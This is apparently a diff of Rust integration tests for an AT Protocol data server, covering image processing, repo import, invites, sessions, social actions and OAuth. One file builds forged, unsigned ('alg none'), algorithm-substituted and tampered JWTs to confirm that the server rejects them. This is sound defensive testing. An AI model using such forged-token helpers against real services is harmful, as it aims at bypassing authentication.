 fn test_webp_conversion() {
     let processor = ImageProcessor::new().with_output_format(OutputFormat::WebP);
···
     let result = processor.process(&data, "image/png").unwrap();
     assert_eq!(result.original.mime_type, "image/webp");
 }
+
 #[test]
 fn test_jpeg_output_format() {
     let processor = ImageProcessor::new().with_output_format(OutputFormat::Jpeg);
···
     let result = processor.process(&data, "image/png").unwrap();
     assert_eq!(result.original.mime_type, "image/jpeg");
 }
+
 #[test]
 fn test_png_output_format() {
     let processor = ImageProcessor::new().with_output_format(OutputFormat::Png);
···
     let result = processor.process(&data, "image/jpeg").unwrap();
     assert_eq!(result.original.mime_type, "image/png");
 }
+
 #[test]
 fn test_max_dimension_enforced() {
     let processor = ImageProcessor::new().with_max_dimension(1000);
···
         assert_eq!(max_dimension, 1000);
     }
 }
+
 #[test]
 fn test_file_size_limit() {
     let processor = ImageProcessor::new().with_max_file_size(100);
···
         assert_eq!(max_size, 100);
     }
 }
+
 #[test]
 fn test_default_max_file_size() {
     assert_eq!(DEFAULT_MAX_FILE_SIZE, 10 * 1024 * 1024);
 }
+
 #[test]
 fn test_unsupported_format_rejected() {
     let processor = ImageProcessor::new();
···
     let result = processor.process(data, "application/octet-stream");
     assert!(matches!(result, Err(ImageError::UnsupportedFormat(_))));
 }
+
 #[test]
 fn test_corrupted_image_handling() {
     let processor = ImageProcessor::new();
···
     let result = processor.process(data, "image/png");
     assert!(matches!(result, Err(ImageError::DecodeError(_))));
 }
+
 #[test]
 fn test_aspect_ratio_preserved_landscape() {
     let processor = ImageProcessor::new();
···
     let thumb_ratio = thumb.width as f64 / thumb.height as f64;
     assert!((original_ratio - thumb_ratio).abs() < 0.1, "Aspect ratio should be preserved");
 }
+
 #[test]
 fn test_aspect_ratio_preserved_portrait() {
     let processor = ImageProcessor::new();
···
     let thumb_ratio = thumb.width as f64 / thumb.height as f64;
     assert!((original_ratio - thumb_ratio).abs() < 0.1, "Aspect ratio should be preserved");
 }
+
 #[test]
 fn test_mime_type_detection_auto() {
     let processor = ImageProcessor::new();
···
     let result = processor.process(&data, "application/octet-stream");
     assert!(result.is_ok(), "Should detect PNG format from data");
 }
+
 #[test]
 fn test_is_supported_mime_type() {
     assert!(ImageProcessor::is_supported_mime_type("image/jpeg"));
···
     assert!(!ImageProcessor::is_supported_mime_type("text/plain"));
     assert!(!ImageProcessor::is_supported_mime_type("application/json"));
 }
+
 #[test]
 fn test_strip_exif() {
     let data = create_test_jpeg(100, 100);
···
     let stripped = result.unwrap();
     assert!(!stripped.is_empty());
 }
+
 #[test]
 fn test_with_thumbnails_disabled() {
     let processor = ImageProcessor::new().with_thumbnails(false);
···
     assert!(result.thumbnail_feed.is_none(), "Thumbnails should be disabled");
     assert!(result.thumbnail_full.is_none(), "Thumbnails should be disabled");
 }
+
 #[test]
 fn test_builder_chaining() {
     let processor = ImageProcessor::new()
···
     let result = processor.process(&data, "image/png").unwrap();
     assert_eq!(result.original.mime_type, "image/jpeg");
 }
+
 #[test]
 fn test_processed_image_fields() {
     let processor = ImageProcessor::new();
···
     assert!(result.original.width > 0);
     assert!(result.original.height > 0);
 }
+
 #[test]
 fn test_only_feed_thumbnail_for_medium_images() {
     let processor = ImageProcessor::new();
···
     assert!(result.thumbnail_feed.is_some(), "Should have feed thumbnail");
     assert!(result.thumbnail_full.is_none(), "Should NOT have full thumbnail for 500px image");
 }
+
 #[test]
 fn test_both_thumbnails_for_large_images() {
     let processor = ImageProcessor::new();
···
     assert!(result.thumbnail_feed.is_some(), "Should have feed thumbnail");
     assert!(result.thumbnail_full.is_some(), "Should have full thumbnail for 2000px image");
 }
+
 #[test]
 fn test_exact_threshold_boundary_feed() {
     let processor = ImageProcessor::new();
···
     let result = processor.process(&above_threshold, "image/png").unwrap();
     assert!(result.thumbnail_feed.is_some(), "Above threshold should generate thumbnail");
 }
+
 #[test]
 fn test_exact_threshold_boundary_full() {
     let processor = ImageProcessor::new();

tests/import_verification.rs

···
 use iroh_car::CarHeader;
 use reqwest::StatusCode;
 use serde_json::json;
+
 #[tokio::test]
 async fn test_import_repo_requires_auth() {
     let client = client();
···
         .expect("Request failed");
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED);
 }
+
 #[tokio::test]
 async fn test_import_repo_invalid_car() {
     let client = client();
···
     let body: serde_json::Value = res.json().await.unwrap();
     assert_eq!(body["error"], "InvalidRequest");
 }
+
 #[tokio::test]
 async fn test_import_repo_empty_body() {
     let client = client();
···
         .expect("Request failed");
     assert_eq!(res.status(), StatusCode::BAD_REQUEST);
 }
+
 fn write_varint(buf: &mut Vec<u8>, mut value: u64) {
     loop {
         let mut byte = (value & 0x7F) as u8;
···
         }
     }
 }
+
 #[tokio::test]
 async fn test_import_rejects_car_for_different_user() {
     let client = client();
···
         body
     );
 }
+
 #[tokio::test]
 async fn test_import_accepts_own_exported_repo() {
     let client = client();
···
         .expect("Failed to import repo");
     assert_eq!(import_res.status(), StatusCode::OK);
 }
+
 #[tokio::test]
 async fn test_import_repo_size_limit() {
     let client = client();
···
         }
     }
 }
+
 #[tokio::test]
 async fn test_import_deactivated_account_rejected() {
     let client = client();
···
         import_res.status()
     );
 }
+
 #[tokio::test]
 async fn test_import_invalid_car_structure() {
     let client = client();
···
         .expect("Request failed");
     assert_eq!(res.status(), StatusCode::BAD_REQUEST);
 }
+
 #[tokio::test]
 async fn test_import_car_with_no_roots() {
     let client = client();
···
     let body: serde_json::Value = res.json().await.unwrap();
     assert_eq!(body["error"], "InvalidRequest");
 }
+
 #[tokio::test]
 async fn test_import_preserves_records_after_reimport() {
     let client = client();

tests/import_with_verification.rs

···
 use std::collections::BTreeMap;
 use wiremock::matchers::{method, path};
 use wiremock::{Mock, MockServer, ResponseTemplate};
+
 fn make_cid(data: &[u8]) -> Cid {
     let mut hasher = Sha256::new();
     hasher.update(data);
···
     let multihash = multihash::Multihash::wrap(0x12, &hash).unwrap();
     Cid::new_v1(0x71, multihash)
 }
+
 fn write_varint(buf: &mut Vec<u8>, mut value: u64) {
     loop {
         let mut byte = (value & 0x7F) as u8;
···
         }
     }
 }
+
 fn encode_car_block(cid: &Cid, data: &[u8]) -> Vec<u8> {
     let cid_bytes = cid.to_bytes();
     let mut result = Vec::new();
···
     result.extend_from_slice(data);
     result
 }
+
 fn get_multikey_from_signing_key(signing_key: &SigningKey) -> String {
     let public_key = signing_key.verifying_key();
     let compressed = public_key.to_sec1_bytes();
···
     buf.extend_from_slice(&compressed);
     multibase::encode(multibase::Base::Base58Btc, buf)
 }
+
 fn create_did_document(did: &str, handle: &str, signing_key: &SigningKey, pds_endpoint: &str) -> serde_json::Value {
     let multikey = get_multikey_from_signing_key(signing_key);
     json!({
···
         }]
     })
 }
+
 fn create_signed_commit(
     did: &str,
     data_cid: &Cid,
···
     let cid = make_cid(&signed_bytes);
     (signed_bytes, cid)
 }
+
 fn create_mst_node(entries: Vec<(String, Cid)>) -> (Vec<u8>, Cid) {
     let ipld_entries: Vec<Ipld> = entries
         .into_iter()
···
     let cid = make_cid(&bytes);
     (bytes, cid)
 }
+
 fn create_record() -> (Vec<u8>, Cid) {
     let record = Ipld::Map(BTreeMap::from([
         ("$type".to_string(), Ipld::String("app.bsky.feed.post".to_string())),

tests/invite.rs

···
 use common::*;
 use reqwest::StatusCode;
 use serde_json::{Value, json};
+
 #[tokio::test]
 async fn test_create_invite_code_success() {
     let client = client();
···
     assert!(!code.is_empty());
     assert!(code.contains('-'), "Code should be a UUID format");
 }
+
 #[tokio::test]
 async fn test_create_invite_code_no_auth() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert_eq!(body["error"], "AuthenticationRequired");
 }
+
 #[tokio::test]
 async fn test_create_invite_code_invalid_use_count() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert_eq!(body["error"], "InvalidRequest");
 }
+
 #[tokio::test]
 async fn test_create_invite_code_for_another_account() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert!(body["code"].is_string());
 }
+
 #[tokio::test]
 async fn test_create_invite_codes_success() {
     let client = client();
···
     assert_eq!(codes.len(), 1);
     assert_eq!(codes[0]["codes"].as_array().unwrap().len(), 3);
 }
+
 #[tokio::test]
 async fn test_create_invite_codes_for_multiple_accounts() {
     let client = client();
···
         assert_eq!(code_obj["codes"].as_array().unwrap().len(), 2);
     }
 }
+
 #[tokio::test]
 async fn test_create_invite_codes_no_auth() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED);
 }
+
 #[tokio::test]
 async fn test_get_account_invite_codes_success() {
     let client = client();
···
     assert!(code["createdAt"].is_string());
     assert!(code["uses"].is_array());
 }
+
 #[tokio::test]
 async fn test_get_account_invite_codes_no_auth() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED);
 }
+
 #[tokio::test]
 async fn test_get_account_invite_codes_include_used_filter() {
     let client = client();

tests/jwt_security.rs

···
 use reqwest::StatusCode;
 use serde_json::{json, Value};
 use sha2::{Digest, Sha256};
+
 fn generate_user_key() -> Vec<u8> {
     let secret_key = SecretKey::random(&mut OsRng);
     secret_key.to_bytes().to_vec()
 }
+
 fn create_custom_jwt(header: &Value, claims: &Value, key_bytes: &[u8]) -> String {
     let signing_key = SigningKey::from_slice(key_bytes).expect("valid key");
     let header_b64 = URL_SAFE_NO_PAD.encode(serde_json::to_string(header).unwrap());
···
     let signature_b64 = URL_SAFE_NO_PAD.encode(signature.to_bytes());
     format!("{}.{}", message, signature_b64)
 }
+
 fn create_unsigned_jwt(header: &Value, claims: &Value) -> String {
     let header_b64 = URL_SAFE_NO_PAD.encode(serde_json::to_string(header).unwrap());
     let claims_b64 = URL_SAFE_NO_PAD.encode(serde_json::to_string(claims).unwrap());
     format!("{}.{}.", header_b64, claims_b64)
 }
+
 #[test]
 fn test_jwt_security_forged_signature_rejected() {
     let key_bytes = generate_user_key();
···
     let err_msg = result.err().unwrap().to_string();
     assert!(err_msg.contains("signature") || err_msg.contains("Signature"), "Error should mention signature: {}", err_msg);
 }
+
 #[test]
 fn test_jwt_security_modified_payload_rejected() {
     let key_bytes = generate_user_key();
···
     let result = verify_access_token(&modified_token, &key_bytes);
     assert!(result.is_err(), "Modified payload must be rejected");
 }
+
 #[test]
 fn test_jwt_security_algorithm_none_attack_rejected() {
     let key_bytes = generate_user_key();
···
     let result = verify_access_token(&malicious_token, &key_bytes);
     assert!(result.is_err(), "Algorithm 'none' attack must be rejected");
 }
+
 #[test]
 fn test_jwt_security_algorithm_substitution_hs256_rejected() {
     let key_bytes = generate_user_key();
···
     let result = verify_access_token(&malicious_token, &key_bytes);
     assert!(result.is_err(), "HS256 algorithm substitution must be rejected");
 }
+
 #[test]
 fn test_jwt_security_algorithm_substitution_rs256_rejected() {
     let key_bytes = generate_user_key();
···
     let result = verify_access_token(&malicious_token, &key_bytes);
     assert!(result.is_err(), "RS256 algorithm substitution must be rejected");
 }
+
 #[test]
 fn test_jwt_security_algorithm_substitution_es256_rejected() {
     let key_bytes = generate_user_key();
···
     let result = verify_access_token(&malicious_token, &key_bytes);
     assert!(result.is_err(), "ES256 (P-256) algorithm substitution must be rejected (we use ES256K/secp256k1)");
 }
+
 #[test]
 fn test_jwt_security_token_type_confusion_refresh_as_access() {
     let key_bytes = generate_user_key();
···
     let err_msg = result.err().unwrap().to_string();
     assert!(err_msg.contains("Invalid token type"), "Error: {}", err_msg);
 }
+
 #[test]
 fn test_jwt_security_token_type_confusion_access_as_refresh() {
     let key_bytes = generate_user_key();
···
     let err_msg = result.err().unwrap().to_string();
     assert!(err_msg.contains("Invalid token type"), "Error: {}", err_msg);
 }
+
 #[test]
 fn test_jwt_security_token_type_confusion_service_as_access() {
     let key_bytes = generate_user_key();
···
     let result = verify_access_token(&service_token, &key_bytes);
     assert!(result.is_err(), "Service token must not be accepted as access token");
 }
+
 #[test]
 fn test_jwt_security_scope_manipulation_attack() {
     let key_bytes = generate_user_key();
···
     let err_msg = result.err().unwrap().to_string();
     assert!(err_msg.contains("Invalid token scope"), "Error: {}", err_msg);
 }
+
 #[test]
 fn test_jwt_security_empty_scope_rejected() {
     let key_bytes = generate_user_key();
···
     let result = verify_access_token(&token, &key_bytes);
     assert!(result.is_err(), "Empty scope must be rejected for access tokens");
 }
+
 #[test]
 fn test_jwt_security_missing_scope_rejected() {
     let key_bytes = generate_user_key();
···
     let result = verify_access_token(&token, &key_bytes);
     assert!(result.is_err(), "Missing scope must be rejected for access tokens");
 }
+
 #[test]
 fn test_jwt_security_expired_token_rejected() {
     let key_bytes = generate_user_key();
···
     let err_msg = result.err().unwrap().to_string();
     assert!(err_msg.contains("expired"), "Error: {}", err_msg);
 }
+
 #[test]
 fn test_jwt_security_future_iat_accepted() {
     let key_bytes = generate_user_key();
···
     let result = verify_access_token(&token, &key_bytes);
     assert!(result.is_ok(), "Slight future iat should be accepted for clock skew tolerance");
 }
+
 #[test]
 fn test_jwt_security_cross_user_key_attack() {
     let key_bytes_user1 = generate_user_key();
···
     let result = verify_access_token(&token, &key_bytes_user2);
     assert!(result.is_err(), "Token signed by user1's key must not verify with user2's key");
 }
+
 #[test]
 fn test_jwt_security_signature_truncation_rejected() {
     let key_bytes = generate_user_key();
···
     let result = verify_access_token(&truncated_token, &key_bytes);
     assert!(result.is_err(), "Truncated signature must be rejected");
 }
+
 #[test]
 fn test_jwt_security_signature_extension_rejected() {
     let key_bytes = generate_user_key();
···
     let result = verify_access_token(&extended_token, &key_bytes);
     assert!(result.is_err(), "Extended signature must be rejected");
 }
+
 #[test]
 fn test_jwt_security_malformed_tokens_rejected() {
     let key_bytes = generate_user_key();
···
             if token.len() > 40 { &token[..40] } else { token });
     }
 }
+
 #[test]
 fn test_jwt_security_missing_required_claims_rejected() {
     let key_bytes = generate_user_key();
···
         assert!(result.is_err(), "Token missing '{}' claim must be rejected", missing_claim);
     }
 }
+
 #[test]
 fn test_jwt_security_invalid_header_json_rejected() {
     let key_bytes = generate_user_key();
···
     let result = verify_access_token(&malicious_token, &key_bytes);
     assert!(result.is_err(), "Invalid header JSON must be rejected");
 }
+
 #[test]
 fn test_jwt_security_invalid_claims_json_rejected() {
     let key_bytes = generate_user_key();
···
     let result = verify_access_token(&malicious_token, &key_bytes);
     assert!(result.is_err(), "Invalid claims JSON must be rejected");
 }
+
 #[test]
 fn test_jwt_security_header_injection_attack() {
     let key_bytes = generate_user_key();
···
     let result = verify_access_token(&token, &key_bytes);
     assert!(result.is_ok(), "Extra header fields should not cause issues (we ignore them)");
 }
+
 #[test]
 fn test_jwt_security_claims_type_confusion() {
     let key_bytes = generate_user_key();
···
     let result = verify_access_token(&token, &key_bytes);
     assert!(result.is_err(), "Claims with wrong types must be rejected");
 }
+
 #[test]
 fn test_jwt_security_unicode_injection_in_claims() {
     let key_bytes = generate_user_key();
···
         assert!(!data.claims.sub.contains('\0'), "Null bytes in claims should be sanitized or rejected");
     }
 }
+
 #[test]
 fn test_jwt_security_signature_verification_is_constant_time() {
     let key_bytes = generate_user_key();
···
     let _result2 = verify_access_token(&completely_invalid_token, &key_bytes);
     assert!(true, "Signature verification should use constant-time comparison (timing attack prevention)");
 }
+
 #[test]
 fn test_jwt_security_valid_scopes_accepted() {
     let key_bytes = generate_user_key();
···
         assert!(result.is_ok(), "Valid scope '{}' should be accepted", scope);
     }
 }
+
 #[test]
 fn test_jwt_security_refresh_token_scope_rejected_as_access() {
     let key_bytes = generate_user_key();
···
     let result = verify_access_token(&token, &key_bytes);
     assert!(result.is_err(), "Refresh scope with access token type must be rejected");
 }
+
 #[test]
 fn test_jwt_security_get_did_extraction_safe() {
     let key_bytes = generate_user_key();
···
     let extracted_unsafe = get_did_from_token(&unverified_token).expect("extract unsafe");
     assert_eq!(extracted_unsafe, "did:plc:sub", "get_did_from_token extracts sub without verification (by design for lookup)");
 }
+
 #[test]
 fn test_jwt_security_get_jti_extraction_safe() {
     let key_bytes = generate_user_key();
···
     let no_jti_token = format!("{}.{}.{}", header_b64, claims_b64, fake_sig);
     assert!(get_jti_from_token(&no_jti_token).is_err(), "Missing jti should error");
 }
+
 #[test]
 fn test_jwt_security_key_from_invalid_bytes_rejected() {
     let invalid_keys: Vec<&[u8]> = vec![
···
         }
     }
 }
+
 #[test]
 fn test_jwt_security_boundary_exp_values() {
     let key_bytes = generate_user_key();
···
     let result2 = verify_access_token(&token2, &key_bytes);
     assert!(result2.is_err() || result2.is_ok(), "Token expiring exactly now is a boundary case - either behavior is acceptable");
 }
+
 #[test]
 fn test_jwt_security_very_long_exp_handled() {
     let key_bytes = generate_user_key();
···
     let token = create_custom_jwt(&header, &claims, &key_bytes);
     let _result = verify_access_token(&token, &key_bytes);
 }
+
 #[test]
 fn test_jwt_security_negative_timestamps_handled() {
     let key_bytes = generate_user_key();
···
     let token = create_custom_jwt(&header, &claims, &key_bytes);
     let _result = verify_access_token(&token, &key_bytes);
 }
+
 #[tokio::test]
 async fn test_jwt_security_server_rejects_forged_session_token() {
     let url = base_url().await;
···
         .unwrap();
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED, "Forged session token must be rejected");
 }
+
 #[tokio::test]
 async fn test_jwt_security_server_rejects_expired_token() {
     let url = base_url().await;
···
         .unwrap();
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED, "Tampered/expired token must be rejected");
 }
+
 #[tokio::test]
 async fn test_jwt_security_server_rejects_tampered_did() {
     let url = base_url().await;
···
         .unwrap();
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED, "DID-tampered token must be rejected");
 }
+
 #[tokio::test]
 async fn test_jwt_security_refresh_token_replay_protection() {
     let url = base_url().await;
···
         .unwrap();
     assert_eq!(replay_res.status(), StatusCode::UNAUTHORIZED, "Refresh token replay must be rejected");
 }
+
 #[tokio::test]
 async fn test_jwt_security_authorization_header_formats() {
     let url = base_url().await;
···
         .unwrap();
     assert_eq!(empty_token_res.status(), StatusCode::UNAUTHORIZED, "Empty token must be rejected");
 }
+
 #[tokio::test]
 async fn test_jwt_security_deleted_session_rejected() {
     let url = base_url().await;
···
         .unwrap();
     assert_eq!(after_logout_res.status(), StatusCode::UNAUTHORIZED, "Token must be rejected after logout");
 }
+
 #[tokio::test]
 async fn test_jwt_security_deactivated_account_rejected() {
     let url = base_url().await;

tests/lifecycle_record.rs

···
 use reqwest::{StatusCode, header};
 use serde_json::{Value, json};
 use std::time::Duration;
+
 #[tokio::test]
 async fn test_post_crud_lifecycle() {
     let client = client();
···
         "Record was found, but it should be deleted"
     );
 }
+
 #[tokio::test]
 async fn test_record_update_conflict_lifecycle() {
     let client = client();
···
         "v3 (good) update failed"
     );
 }
+
 #[tokio::test]
 async fn test_profile_lifecycle() {
     let client = client();
···
     let updated_body: Value = get_updated_res.json().await.unwrap();
     assert_eq!(updated_body["value"]["displayName"], "Updated User");
 }
+
 #[tokio::test]
 async fn test_reply_thread_lifecycle() {
     let client = client();
···
         .expect("Failed to create nested reply");
     assert_eq!(nested_res.status(), StatusCode::OK, "Failed to create nested reply");
 }
+
 #[tokio::test]
 async fn test_blob_in_record_lifecycle() {
     let client = client();
···
     let profile: Value = get_res.json().await.unwrap();
     assert!(profile["value"]["avatar"]["ref"]["$link"].is_string());
 }
+
 #[tokio::test]
 async fn test_authorization_cannot_modify_other_repo() {
     let client = client();
···
         res.status()
     );
 }
+
 #[tokio::test]
 async fn test_authorization_cannot_delete_other_record() {
     let client = client();
···
         .expect("Failed to verify record exists");
     assert_eq!(get_res.status(), StatusCode::OK, "Record should still exist");
 }
+
 #[tokio::test]
 async fn test_apply_writes_batch_lifecycle() {
     let client = client();
···
         "Batch-deleted post should be gone"
     );
 }
+
 async fn create_post_with_rkey(
     client: &reqwest::Client,
     did: &str,
···
         body["cid"].as_str().unwrap().to_string(),
     )
 }
+
 #[tokio::test]
 async fn test_list_records_default_order() {
     let client = client();
···
         .collect();
     assert_eq!(rkeys, vec!["cccc", "bbbb", "aaaa"], "Default order should be DESC (newest first)");
 }
+
 #[tokio::test]
 async fn test_list_records_reverse_true() {
     let client = client();
···
         .collect();
     assert_eq!(rkeys, vec!["aaaa", "bbbb", "cccc"], "reverse=true should give ASC order (oldest first)");
 }
+
 #[tokio::test]
 async fn test_list_records_cursor_pagination() {
     let client = client();
···
     let unique_uris: std::collections::HashSet<&str> = all_uris.iter().copied().collect();
     assert_eq!(all_uris.len(), unique_uris.len(), "Cursor pagination should not repeat records");
 }
+
 #[tokio::test]
 async fn test_list_records_rkey_start() {
     let client = client();
···
         assert!(*rkey >= "bbbb", "rkeyStart should filter records >= start");
     }
 }
+
 #[tokio::test]
 async fn test_list_records_rkey_end() {
     let client = client();
···
         assert!(*rkey <= "cccc", "rkeyEnd should filter records <= end");
     }
 }
+
 #[tokio::test]
 async fn test_list_records_rkey_range() {
     let client = client();
···
     }
     assert!(!rkeys.is_empty(), "Should have at least some records in range");
 }
+
 #[tokio::test]
 async fn test_list_records_limit_clamping_max() {
     let client = client();
···
     let records = body["records"].as_array().unwrap();
     assert!(records.len() <= 100, "Limit should be clamped to max 100");
 }
+
 #[tokio::test]
 async fn test_list_records_limit_clamping_min() {
     let client = client();
···
     let records = body["records"].as_array().unwrap();
     assert!(records.len() >= 1, "Limit should be clamped to min 1");
 }
+
 #[tokio::test]
 async fn test_list_records_empty_collection() {
     let client = client();
···
     assert!(records.is_empty(), "Empty collection should return empty array");
     assert!(body["cursor"].is_null(), "Empty collection should have no cursor");
 }
+
 #[tokio::test]
 async fn test_list_records_exact_limit() {
     let client = client();
···
     let records = body["records"].as_array().unwrap();
     assert_eq!(records.len(), 5, "Should return exactly 5 records when limit=5");
 }
+
 #[tokio::test]
 async fn test_list_records_cursor_exhaustion() {
     let client = client();
···
     let records = body["records"].as_array().unwrap();
     assert_eq!(records.len(), 3);
 }
+
 #[tokio::test]
 async fn test_list_records_repo_not_found() {
     let client = client();
···
         .expect("Failed to list records");
     assert_eq!(res.status(), StatusCode::NOT_FOUND);
 }
+
 #[tokio::test]
 async fn test_list_records_includes_cid() {
     let client = client();
···
         assert!(cid.starts_with("bafy"), "CID should be valid");
     }
 }
+
 #[tokio::test]
 async fn test_list_records_cursor_with_reverse() {
     let client = client();

tests/lifecycle_session.rs

···
 use chrono::Utc;
 use reqwest::StatusCode;
 use serde_json::{Value, json};
+
 #[tokio::test]
 async fn test_session_lifecycle_wrong_password() {
     let client = client();
···
         res.status()
     );
 }
+
 #[tokio::test]
 async fn test_session_lifecycle_multiple_sessions() {
     let client = client();
···
         .expect("Failed getSession 2");
     assert_eq!(get2.status(), StatusCode::OK);
 }
+
 #[tokio::test]
 async fn test_session_lifecycle_refresh_invalidates_old() {
     let client = client();
···
         "Old refresh token should be invalid after use"
     );
 }
+
 #[tokio::test]
 async fn test_app_password_lifecycle() {
     let client = client();
···
     let passwords_after = list_after["passwords"].as_array().unwrap();
     assert_eq!(passwords_after.len(), 0, "No app passwords should remain");
 }
+
 #[tokio::test]
 async fn test_account_deactivation_lifecycle() {
     let client = client();
···
     let (new_post_uri, _) = create_post(&client, &did, &jwt, "Post after reactivation").await;
     assert!(!new_post_uri.is_empty(), "Should be able to post after reactivation");
 }
+
 #[tokio::test]
 async fn test_service_auth_lifecycle() {
     let client = client();
···
     assert_eq!(claims["aud"], "did:web:api.bsky.app");
     assert_eq!(claims["lxm"], "com.atproto.repo.uploadBlob");
 }
+
 #[tokio::test]
 async fn test_request_account_delete() {
     let client = client();

tests/lifecycle_social.rs

···
 use serde_json::{Value, json};
 use std::time::Duration;
 use chrono::Utc;
+
 #[tokio::test]
 async fn test_social_flow_lifecycle() {
     let client = client();
···
         "Only post 2 should remain"
     );
 }
+
 #[tokio::test]
 async fn test_like_lifecycle() {
     let client = client();
···
         .expect("Failed to check deleted like");
     assert_eq!(get_deleted_res.status(), StatusCode::NOT_FOUND, "Like should be deleted");
 }
+
 #[tokio::test]
 async fn test_repost_lifecycle() {
     let client = client();
···
         .expect("Failed to delete repost");
     assert_eq!(delete_res.status(), StatusCode::OK, "Failed to delete repost");
 }
+
 #[tokio::test]
 async fn test_unfollow_lifecycle() {
     let client = client();
···
         .expect("Failed to check deleted follow");
     assert_eq!(get_deleted_res.status(), StatusCode::NOT_FOUND, "Follow should be deleted");
 }
+
 #[tokio::test]
 async fn test_timeline_after_unfollow() {
     let client = client();
···
     let feed_after = timeline_after["feed"].as_array().unwrap();
     assert_eq!(feed_after.len(), 0, "Should see 0 posts after unfollowing");
 }
+
 #[tokio::test]
 async fn test_mutual_follow_lifecycle() {
     let client = client();
···
     let bob_feed = bob_tl["feed"].as_array().unwrap();
     assert_eq!(bob_feed.len(), 1, "Bob should see Alice's 1 post");
 }
+
 #[tokio::test]
 async fn test_account_to_post_full_lifecycle() {
     let client = client();

tests/moderation.rs

···
 use helpers::*;
 use reqwest::StatusCode;
 use serde_json::{Value, json};
+
 #[tokio::test]
 async fn test_moderation_report_lifecycle() {
     let client = client();

tests/notifications.rs

···
     NotificationStatus, NotificationType,
 };
 use sqlx::PgPool;
+
 async fn get_pool() -> PgPool {
     let conn_str = common::get_db_connection_string().await;
     sqlx::postgres::PgPoolOptions::new()
···
         .await
         .expect("Failed to connect to test database")
 }
+
 #[tokio::test]
 async fn test_enqueue_notification() {
     let pool = get_pool().await;
···
     assert_eq!(row.notification_type, NotificationType::Welcome);
     assert_eq!(row.status, NotificationStatus::Pending);
 }
+
 #[tokio::test]
 async fn test_enqueue_welcome() {
     let pool = get_pool().await;
···
     assert!(row.body.contains(&format!("@{}", user_row.handle)));
     assert_eq!(row.notification_type, NotificationType::Welcome);
 }
+
 #[tokio::test]
 async fn test_notification_queue_status_index() {
     let pool = get_pool().await;

tests/oauth.rs

···
 use sha2::{Digest, Sha256};
 use wiremock::{Mock, MockServer, ResponseTemplate};
 use wiremock::matchers::{method, path};
+
 fn no_redirect_client() -> reqwest::Client {
     reqwest::Client::builder()
         .redirect(redirect::Policy::none())
         .build()
         .unwrap()
 }
+
 fn generate_pkce() -> (String, String) {
     let verifier_bytes: [u8; 32] = rand::random();
     let code_verifier = URL_SAFE_NO_PAD.encode(verifier_bytes);
···
     let code_challenge = URL_SAFE_NO_PAD.encode(&hash);
     (code_verifier, code_challenge)
 }
+
 async fn setup_mock_client_metadata(redirect_uri: &str) -> MockServer {
     let mock_server = MockServer::start().await;
     let client_id = mock_server.uri();

tests/oauth_lifecycle.rs

···
 mod common;
 mod helpers;
+
 use base64::{Engine as _, engine::general_purpose::URL_SAFE_NO_PAD};
 use chrono::Utc;
 use common::{base_url, client};
···
 use sha2::{Digest, Sha256};
 use wiremock::{Mock, MockServer, ResponseTemplate};
 use wiremock::matchers::{method, path};
+
 fn generate_pkce() -> (String, String) {
     let verifier_bytes: [u8; 32] = rand::random();
     let code_verifier = URL_SAFE_NO_PAD.encode(verifier_bytes);
···
     let code_challenge = URL_SAFE_NO_PAD.encode(&hash);
     (code_verifier, code_challenge)
 }
+
 fn no_redirect_client() -> reqwest::Client {
     reqwest::Client::builder()
         .redirect(redirect::Policy::none())
         .build()
         .unwrap()
 }
+
 async fn setup_mock_client_metadata(redirect_uri: &str) -> MockServer {
     let mock_server = MockServer::start().await;
     let client_id = mock_server.uri();
···
         .await;
     mock_server
 }
+
 struct OAuthSession {
     access_token: String,
     refresh_token: String,
     did: String,
     client_id: String,
 }
+
 async fn create_user_and_oauth_session(handle_prefix: &str, redirect_uri: &str) -> (OAuthSession, MockServer) {
     let url = base_url().await;
     let http_client = client();
···
     };
     (session, mock_client)
 }
+
 #[tokio::test]
 async fn test_oauth_token_can_create_and_read_records() {
     let url = base_url().await;
···
     let get_body: Value = get_res.json().await.unwrap();
     assert_eq!(get_body["value"]["text"], post_text);
 }
+
 #[tokio::test]
 async fn test_oauth_token_can_upload_blob() {
     let url = base_url().await;
···
     assert!(upload_body["blob"]["ref"]["$link"].is_string());
     assert_eq!(upload_body["blob"]["mimeType"], "text/plain");
 }
+
 #[tokio::test]
 async fn test_oauth_token_can_describe_repo() {
     let url = base_url().await;
···
     assert_eq!(describe_body["did"], session.did);
     assert!(describe_body["handle"].is_string());
 }
+
 #[tokio::test]
 async fn test_oauth_full_post_lifecycle_create_edit_delete() {
     let url = base_url().await;
···
         get_deleted_res.status()
     );
 }
+
 #[tokio::test]
 async fn test_oauth_batch_operations_apply_writes() {
     let url = base_url().await;
···
     let records = list_body["records"].as_array().unwrap();
     assert!(records.len() >= 3, "Should have at least 3 records from batch");
 }
+
 #[tokio::test]
 async fn test_oauth_token_refresh_maintains_access() {
     let url = base_url().await;
···
     let records = list_body["records"].as_array().unwrap();
     assert_eq!(records.len(), 2, "Should have both posts");
 }
+
 #[tokio::test]
 async fn test_oauth_revoked_token_cannot_access_resources() {
     let url = base_url().await;
···
         .unwrap();
     assert_eq!(refresh_res.status(), StatusCode::BAD_REQUEST, "Revoked refresh token should not work");
 }
+
 #[tokio::test]
 async fn test_oauth_multiple_clients_same_user() {
     let url = base_url().await;
···
     let records = list_body["records"].as_array().unwrap();
     assert_eq!(records.len(), 2, "Both posts should be visible to either client");
 }
+
 #[tokio::test]
 async fn test_oauth_social_interactions_follow_like_repost() {
     let url = base_url().await;
···
     let likes = likes_body["records"].as_array().unwrap();
     assert_eq!(likes.len(), 1, "Bob should have 1 like");
 }
+
 #[tokio::test]
 async fn test_oauth_cannot_modify_other_users_repo() {
     let url = base_url().await;
···
     let posts = posts_body["records"].as_array().unwrap();
     assert_eq!(posts.len(), 0, "Alice's repo should have no posts from Bob");
 }
+
 #[tokio::test]
 async fn test_oauth_session_isolation_between_users() {
     let url = base_url().await;
···
     assert_eq!(bob_posts.len(), 1);
